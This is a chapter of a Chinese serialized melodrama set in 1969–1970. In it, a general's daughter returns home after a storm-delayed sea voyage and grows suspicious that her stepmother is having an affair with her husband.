按说从上海到大连海路还不到600海里,加上是海军的快艇,有二三十个小时也就到了,可是快艇还没到山东半岛就又遇到了天气预报没报出来的狂风暴雨,船就一会儿在浪尖上,一会儿又到了谷底,把张弛云晕船晕的肠子都要给吐出来了。

后来船长觉得危险太大,还是暂时回避一下为好,就转舵驶进了青岛的胶州弯避风躲雨。真是越着急就越是出岔子呀,张弛云满嘴大泡就又多了一层,加上晕船,人就病倒了。

船长见了,赶紧派了两个海员把张弛云送到了青岛人民医院去就珍。

那时候大家都去搞文化大革命去了,哪还有像样的大夫给看病啊,也就是给开了点儿阿司匹林和牛黄解毒片让回去自己吃。一点也没减轻张弛云的病情。

回到快艇上,张弛云就一直病病歪歪地躺着,眼泪也就不断地流啊流。但是她一点办法也没有,自己的命运似乎不是掌握在邱正红的手里,就是掌握在了风云变幻的天气里,真是人算不如天算哪,只好等着大风大雨早点儿退去,她好早点儿回家呀。

可是大风是今天刮明天刮,明天刮到后天,整整刮了三天,才把那块有雨的云彩给刮走,天气才算晴了起来。

可是到了第四天船长说有雾就又耽误一天,到了第五天才重新出发,又经过了10几个小时的海上颠簸,才到了旅顺。

上了岸,张弛云连跟关怀照看了自己五六天的船长和海员挥手告别的力气都没有了,只能眨着干巴巴的眼睛,跟大家点头告别。船长和船员们似乎特别理解她,将他目送老远才去各就各位地干自己的工作。

好在张弛云上了岸,打电话给家里是警卫员接的电话,虽然还是一问三不知,可最终还是听了她的话,开着她父亲的专车到旅顺来接她回家。

等了两三个小时车才到,说是街上红卫兵游行堵了路,幸亏是军车才放的行。一直到了晚上七点多,张弛云才被警卫员搀扶着,脚踩棉花一样,虚弱地进了自己的家门。

然而家里似乎一切都变了,首先就是挂在客厅的《女人的天堂》赫然不见了,然后是自己的孩子和丈夫王清堂也不见了,就连继母邱正红也不知去向了。

张弛云就有气无力地问家里的警卫员和保姆,他们全都一问三不知,说都是军事秘密,无可奉告。

张弛云简直都要疯了,她在空荡荡的将军楼里,用最后的一点儿力气,歇斯底里地叫喊起来,可是没有人理睬她,没有人安慰她,更是没有人来制止她……

天哪,到底发生了什么呀,难道老天爷要对自己的一时冲动给予如此大的惩罚吗!

天哪,谁能告诉我,这一切都是为什么,为什么,为什么啊!

张弛云就用最后的一点力气,挣扎着哭问叫喊,呼号……

直到她拽下自己的头发,挠破自己的脸,直到她因激动过度外加路途疲劳,昏死在将军楼的大客厅里……




艺色—9



-----------------------------------------------------

等张弛云醒来,发现父亲就坐在自己的床边,屋里还有护士在忙着给她打点滴。

她就挣扎着要坐起来,可是却心有余而力不足。她就眼角流着泪轻声地说:“爸呀,您到哪里去了呀,叫我找您都找到南京去了呀。”

她父亲听了就慈爱地摸着她的脸蛋儿说:“爸没走远,你走后不久,爸就回到了大连。”

张弛云就说:“那我往家里打电话怎么没人接呢?”

张弛云的父亲就说:“你不知道啊,最近革命形势大好,所以大家都忙,整天在外边开万人大会,家里当然就没人接电话啦。”

张弛云就又问:“我的孩子和丈夫到哪儿去了,还有那幅《女人的天堂》怎么也不见了!”

张弛云的父亲就说:“乖女儿别激动啊,你的丈夫还有你的孩子叫我安排到丹东五龙背去疗养度假去了;那幅画是我怕被哪位红卫兵小将给看见了,说是‘封、资、修’的东西,然后当成‘四旧’给毁了,就偷偷地给收起来了。”

张弛云听了就不信,就说:“是叫我继母当油毡纸给点炉子了吧。”

张弛云的父亲就说:“别把你的继母想得那么坏,那幅画是老爸的命根子,是老爸给收起来了,你就放心吧。”

张弛云听了就说:“那我的丈夫和孩子干吗非得专等我不在,安排他们去度假呀,再说我的孩子那么小,出去他们能照顾好么,是不是又是我继母耍的花样啊,赶紧给我丈夫打电话叫他们回来,我要是再见不到他们就真的活不下去了。”

张弛云的父亲就说:“行,我打电话叫他们回来行,可是你得把病给治好哇,别动不动就晕到哇;别的都别多想,有老爸呢,一切都回好的;你现在就安心养病吧,过两天我就把你丈夫和我的两个外孙给接回来。”

听到老爸说了这句话,张弛云的心里得到了一丝安慰,她想,孩子虽然是自己的儿子,可也是我老爸的外孙子呀,老爸绝对不会做对自己的亲外孙子不利的事情吧。但张弛云的内心深处还是觉得家里发生的这些变化决不会那么简单,看来只有自己赶快好起来,才能一一揭开谜底,才能扭转事态的发展。

于是她就积极配合医生和医院的治疗,强迫自己多吃东西多睡觉,终于在一周后,她就能下床走路了,到了第十天就走路不头晕了,到了半个月,大夫终于允许她出院了。

从她离开家到从部队医院里回到家里,居然一个多月过去了!

等她回到家里头一件事就是问老爸要看那幅《女人的天堂》。老爸就把她领到了地下室里的一间密室,张弛云终于在那里看到了那幅珍藏完好的《女人的天堂》,她就用手抚摸着那幅画的人物和风景,眼泪就扑簌簌地掉了下来。

她父亲就对她说:“怎么样,老爸没骗你吧。”

画的事证明老爸说的对了,可是孩子和丈夫王清堂的下落张弛云还是将信将疑。她就跟父亲说:“是您调一辆直升飞机还是派您的专车,还是我自己坐汽车到丹东去接我的儿子和丈夫。”

张弛云的父亲就说:“现在调用直升飞机要中央军委批准才行了,你就坐我的专车去吧,不过你还得等几天,因为我的汽车这几天正在进行一次保养和维修;别急嘛,他们都好好的,老爸安排的,没有错儿。”

张弛云就这么耐心地等了好几天,她再也不敢犯上次贸然行动的错误了。等到老爸的汽车修好了,张弛云终于可以上路去接自己的孩子和丈夫了,这时候张弛云才突然想起一个被她忽视的问题,她突然问她父亲:“我继母哪去了,我回来这些天怎么没见到她呢?”

她父亲就说:“你还不知道吧,你继母怀孕了;前几天,听说省里有个老中医是妇科专家,对保胎和胎教都有研究,就非得去那里边疗养边保胎不可。”

张弛云听了就信以为真,但还是说:“谁没生过孩子呀,兴师动众的。”

张弛云的父亲就说:“不是兴师动众,是为了万无一失,你老爸都这么大年纪了,能老来得子也是人生一大幸事。”

听父亲这么一说,张弛云也就不说什么了,坐着父亲的专车,就去到了丹东五龙背疗养院,真就在那里见到了日思夜想孩子和丈夫王清堂。

久别重逢,张弛云抱住孩子和丈夫就放声大哭,王清堂也就跟着抹眼泪。一家人总算团聚了,在疗养院呆了两天,一家人就打道回府,回到了大连,他们家的将军楼。

令张弛云没想到的是,一进门,迎接他们的竟是继母邱正红,而且张弛云总是从直觉上感到继母对王清堂别有用心:你看她的眼神,你看她的动作,你看她在王清堂面前骚浪的样子——张弛云真是觉得丈夫总有一天会掉进邱正红的陷阱里的。

所以晚上在被窝里行房的时候,张弛云就对王清堂说:“你可得防着点儿我后妈邱正红,她可不是什么好东西,凡事都要小心行事才好。”

王清堂听了就答应说:“我知道了。”

后来张弛云还是觉得住在这个楼里,自己的丈夫就有被邱正红把魂儿给勾去的危险,就跟老爸说:“给我找个房子吧,我要搬出去住。”

她老爸就说:“搬出去干吗,你丈夫马上要到中央美院去参加一个笔会,顺便给我一个老战友画一幅《将军图》,得去一两个月;再说现在外边正在搞运动,乱得不得了,你一个人搬出去我也不放心,还是呆在家里吧,有个大事小情的老爸还能照顾你。”

张弛云听了,也就没话可说了,心里想,王清堂出去躲后妈邱正红几个月也行,就没再提出去过的事。没几天,王清堂真的起身到北京去了,送别的时候,王清堂把张弛云抱得特别紧,而且对她说多保重的时候,很是深沉和动情,那次的拥抱叫张弛云终身难忘。



*扑朔迷离深度怀疑

王清堂走后家里相安无事了几天,可是没过几天继母邱正红说又要到省里去保胎住院,就引起了张弛云的警觉——不会是她要到北京去勾引自己的丈夫然后给她画**画吧。

她就耍了个心眼儿,在邱正红出门的时候突然说也要跟着去。可是令她吃惊的是,她老爸和继母邱正红都没反对,听了她的突然请求,还说她跟着去好,相互还有个照应。

到了省里,还真有个老中医,慢条斯理地还真说的条条是道儿。张弛云在省里陪了邱正红几天,觉得并不像自己想的那样,就以想孩子了为名,自己回到了大连,一心一意地照看抚养她的双胞胎儿子去了。

时间就这么一天天地过去,似乎没有什么特别的事情发生,大家也都相安无事。

过了两个月,王清堂就从北京风尘仆仆地回来了。说来也巧,王清堂回来的第二天,邱正红也前脚跟后脚地回来了。大家一见面,言谈话语里,眉来眼去中,张弛云又从邱正红的神情里感觉到,似乎她丈夫跟她继母有某种不可告人的关系。不过她确信,即便有了某种不可告人的关系,也肯定不怪自己的丈夫王清堂,若是有,也是她继母强迫或是主动勾引的。

她本来想从丈夫王清堂的一言一行中找出他跟继母是否有什么瓜葛,但是王清堂的所有表现都很正常,没有任何蛛丝马迹能让张弛云直接怀疑。甚至包括夫妻行房,张弛云也总是想打探出些跟从前不一样的地方,但王清堂什么都没有改变,有的只是小别胜新婚的缠绵和对她一如既往的深情爱恋。

所以张弛云就很是矛盾,如果不相信自己的怀疑吧,一旦是真的,那将后悔莫及,可是如果一旦凭空怀疑错了,对自己的丈夫也是一种无形中的伤害……可是那个妖里妖气的继母确实值得怀疑呀!

但所有这些,张弛云只是感觉,只是怀疑,只是隐隐约约地觉得是那么回事,但她拿不出确切的证据,又不能公开指责她继母如何如何,所以也就在怀疑中,一天一天地得过且过了。

日子线年的年底,张弛云的继母邱正红妊娠反应,就住进了医院,过了半个月,竟然也生出一对双胞胎来,不过不都是男孩也不都是女孩,而是一对龙凤胎!

把张弛云的老爸乐得恨不能在地上打几个滚儿,老来得子得女,如同铁树开花,那光景,真是百年一见呀!

给将军一下子生了个龙凤胎,把邱正红得意得恨不能扎个彩车上街上去游行,于是也就越发趾高气扬,不把时间为万物放在眼里了。

只有张弛云见了两个孩子觉得怪怪的,就觉得跟自己的两个孩子特别地像,那眉眼,那头型,还有皮肤体型——怎么会是这样啊!

有一回趁别人没注意,张弛云照着邱正红孩子的屁股上掐了一把,结果,连哭声都跟自己的孩子差不多,还有就是孩子的胎毛寒毛、手形脚形,还有睡觉和吃奶的样子姿势简直就跟当年自己刚生出来的孩子几乎一样。

天哪,怎么会这么像啊,难道自己的怀疑原本就是现实!

这就让张弛云的内心里充满了深深的狐疑:难道继母真的是跟自己的丈夫王清堂有一腿?难道是老爸默认了现有的一切?难道他们真的背着我做了有背纲常伦理的事情?

随着邱正红小孩的一天天长大,张弛云的狐疑就与日俱增;后来有一天,她实在忍不住了,就认真地问王清堂:“你看出来没,我继母生的孩子跟我生的孩子特别地相像。”

王清堂听了却木呐地说:“你们不都是一家人嘛,多少也得像一点儿呀。”

张弛云就说:“可是也太像了呀,双胞胎不说,别的都像得不得了,连哭声笑声都像。”

王清堂就说:“你的孩子和你继母的孩子都源自你老爸的血统,像是对的,不像才是不对的。”

张弛云没话说,就沉默了一阵,天天琢磨,不能释怀,后来还是憋不住去问她父亲,她说:“老爸呀,你不觉得我继母生的孩子跟我生的孩子太像了吗?”

她老爸听了就说:“像了对呀,两个是我儿子辈的,两个是我孙子辈儿的,都是张家的根苗么,怎么能不像呢!”

见父亲一点儿也不怀疑,张弛云也就心不甘、情不愿地走开了。不过那颗怀疑的种子虽然没有发出芽儿来,但它一直埋在张弛云的内心深处,说不定那天有了一定的阳光、空气和水,那颗种子就会突然发出芽儿来,开出愤怒的花来,结出难以想象的果实来呀……

过了几个月,到了1970年的春天了,张弛云的父亲又给王清堂在新疆军区找了个给当地司令员画画的差事,说又要一去几个月,张弛云也拦不住,就放行叫王清堂出发了。

过了没几天,继母邱正红也说要出去,说是要带着孩子到娘家的塘沽去住些日子。张弛云还是在第一反映上表示怀疑,觉得这个狐媚风骚的继母八层又是去勾引自己的丈夫去了吧!可是转念一想,她一个妇道人家,还带了两个孩子,不至于跑到老远山西的新疆去偷人养汉,勾引自己的丈夫吧。

不过无论客观上怎么不可能,张弛云还是在内心深处,在潜意识里,隐隐地觉得继母跟自己的丈夫王清堂,肯定有某种不可告人的特别的来往和关系。老爸也许知道,但睁一只眼闭一只眼,或是根本就不知内情,至今还蒙在鼓里。

张弛云的疑惑像一条暗河一样不为人知地奔涌流淌着,她时刻绷紧着那根警惕的心弦,她不会放弃任何蛛丝马迹,她不会容忍任何家丑外遇。

然而,她从一开始就错了,她从一开始就落进了继母邱正红精心布置是圈套。

她才是真正地被蒙在了鼓里,不过她所有的狐疑和猜测都是对的,对得几乎跟她想象的一模一样。